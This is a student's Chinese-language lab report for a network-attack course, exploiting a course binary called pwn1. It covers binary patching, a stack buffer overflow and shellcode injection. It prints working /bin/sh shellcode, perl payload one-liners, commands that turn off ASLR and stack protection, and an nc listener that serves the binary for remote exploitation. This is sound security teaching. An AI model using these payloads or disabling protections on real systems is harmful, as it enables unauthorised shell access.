2019-2020-2 20175234 赵诗玥 《网络对抗技术》 Exp1 PC平台逆向破解
一、实验介绍
实验目标
-
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
-
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
-
注入一个自己制作的shellcode并运行这段shellcode。
基础知识
- 1、NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP指令【机器码0x90】,即指令即空指令,运行该指令时单片机什么都不做,但是会占用一个指令的时间
- JNE【机器码0x75】
- JMP,无条件转移指令。段内直接短转移Jmp short【机器码0xE8】,段内直接近转移Jmp near【0xE9】, 段内间接转移Jmp word【机器码0xFF】,段间直接(远)转移Jmp far【机器码0xEA】
- CMP【机器码0x38】
- 2、常用Linux指令
- 管道(|):用于进程间的通信(也可通过socket进行网络通信),它表现出来的形式将前面每一个进程的输出(stdout)直接作为下一个进程的输入(stdin)
- 重定向:
>
输出重定向到一个文件或设备,覆盖原来的文件,>>
输出重定向到一个文件或设备,追加原来的文件,<
输入重定向到一个程序 ,>!
输出重定向到一个文件或设备,强制覆盖原来的文件 - 反汇编指令(objdump)
二、实验过程
任务一:直接修改程序机器指令,调用getShell函数
- 新建一个包含学号的文件夹,将可执行文件pwn1移动进去
- 将可执行文件反汇编,用more指令以分页形式查看文档
-
观察上图,
函数call指令中调用的是地址为8048491的 子程序,想要调用getShell则只需修改机器call指令后的数值
-
在vi实现操作
-
用vi打开可执行文件,将ASCII码使用
:%!xxd
转换为16进制方便阅读 -
查找字符串
e8 d7
-
将修改d7为c3
-
:%!xxd -r
转换16进制为原格式 -
保存退出
-
-
验证操作结果
- 反汇编查看文件
- 执行文件
- 反汇编查看文件
任务二:BOF攻击,改变程序执行流程
-
确定哪几个字符会覆盖到返回地址
- 程序分析
有汇编代码可得,有28个字节用于存储读入的数据,而eip和ebp的数据各占4个字节,因而第33-36字节数据会覆盖原eip中内容 - gbd测试确定
由图可验证第33-36字节数据会覆盖原eip中内容
- 程序分析
-
确认用什么值来覆盖返回地址
反汇编时,我们可以看到getShell的内存地址是0804847d
,我们由先前的gdb调试知道机器为小端法。我们应该输入11111111222222223333333344444444\x7d\x84\x04\x08
。 -
构造输入字符串
由为没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以使用Perl编写要输入的指令,然后使用输出重定向>
将perl生成的字符串存储到文件input中。
将input的输入,通过管道符“|”,作为pwn1的输入(\x0a表示回车)
任务三:注入Shellcode并执行
- 准备一段Shellcode
Shellcode起初是为了获取一个交互式的shell,在实际的应用中,凡是用来注入的机器指令段都通称为shellcode
直接用老师提供的\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
-
准备工作
apt-get install execstack
//安装execstack
execstack -s pwn1
//设置堆栈可执行execstack -q pwn1
//查询文件的堆栈是否可执行,显示X pwn1则表示可执行echo "0" > /proc/sys/kernel/randomize_va_space
////关闭地址随机化more /proc/sys/kernel/randomize_va_space
//查看随机化是否关闭,如显示0则已关闭,2未关闭
-
构造要注入的payload
payload指实现攻击的代码,Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
本次实验采用nops+shellcode+retaddr
,使用
perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
使输出重定向>将perl生成的字符串存储到文件input_shellcode中
-
终端注入并调试
(cat input_shellcode;cat) | ./pwn1
注入程序- 打开终端2,
ps -ef | grep pwn1
查看进程号
- 启用gdb调试,
attach
+进程号,我的是1731 - 反编译
disassemble foo
,查看ret地址,ret完就跳到我们覆盖的那个地方了
- 设置断点
break *0x080484ae
- 在终端1输入回车
- 调试终端2输入c继续运行程序
info r esp
查看esp寄存器地址x/16x +esp寄存器地址
就很容易看到我们设置的01020304
,Shellcode跟在就在后面,我们可以直接对esp寄存器地址+0x4
-
修改注入代码buf,再次注入测试
-
结合nc实现远程攻击
-
复制一台副本Kali
-
查主机A(假定主机A的网络服务有漏洞)、主机B的ip
通过ip address
指令查到,主机A:192.168.26.128;主机B:192.168.26.140 -
关闭A机防火墙
-
A机终端
nc -l B机ip -p 28234 -e ./pwn1
打开监听
-
B机终端
(cat input_shellcode; cat) | nc A机ip 28234
注入攻击buf
-
三、实验收获
实验体会
本次实验的一、二、三在老师的实验指导书下很快完成了基本任务,但是却有很多细节需要注意。在做实验一时,我改完机器指令就保存退出了,未将其转化为源码,导致报错文件无法识别(后来只好又做了一边)。在尝试做实验3.5 nc远程攻击时遇到了很多问题,首先是ip设置问题,主机A作为被攻击机应该监听的是主机B的ip,其次主机A应该关闭防火墙再者主机B的Shellcode应该及时更新(我在做完实验三的基本任务后关闭了计算机,结果再报错“段错误”),就是要从头做一遍(一定要注意堆栈是否可执行和地址是否关闭随机化)确定Shellcode的地址。简直是太惨了…还是说,理论是基础,操作有点难,加油噻!
问题回答
什么是漏洞?漏洞有什么危害?
答:漏洞是软、硬件或者是协议本身存在的问题,使得攻击者可以通过这些问题非法访问或者篡改数据。攻击者将漏洞加以应用就可以在对计算机进行非法访问、篡改数据,可能破坏信息的保密性、完整性、可用性等性质,损害计算机所有者的利益。